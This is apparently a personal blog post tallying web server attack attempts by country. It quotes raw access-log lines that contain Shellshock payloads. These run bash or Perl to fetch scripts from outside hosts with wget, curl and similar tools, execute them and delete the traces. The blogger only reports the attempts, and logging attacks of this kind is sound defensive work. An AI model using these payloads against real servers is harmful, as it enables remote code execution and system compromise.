America and China bashing in the wild

overwieghtAnother week (my blog) and busier than usual America wins this week with about 76% of attempts.

These addresses had no block list associations hence there detection.

who count what
74.208.100.88/ us

 

2
GET /cgi-bin/fire.cgi
HTTP/1.0" 403 533 "-" "() { :;}; /bin/bash -c \"cd /var/tmp;wget http:// 46.4.104.235 /gnu ;perl /var/tmp/gnu;rm -rf gnu\""
60.208.209.205 / cn

 

4
http:// www. baidu.com" "() { :;}; echo Content-Type: text/plain ; echo \"TEST:
TEST\""
 173.242.114.117 / us Black Fox Limited (BFL-22) t/a volumedrive  14  GET /cgi-bin/status
“() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”cd
/tmp/;mkdir speedtest;cd speedtest;wget http:// 173.242.114.117/speed-test;perl speed-test;lwp-download
http:// 173.242.114.117/localhost-db;fetch http://173.242.114.117/localhost-db;curl
-O http:// 173.242.114.117/speed-test:perl speed-test\”);'”
count 20

The duplicates are redirects to ssl or brute force attempts and 46.4.1104.235 is in Germany

by golly but...

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s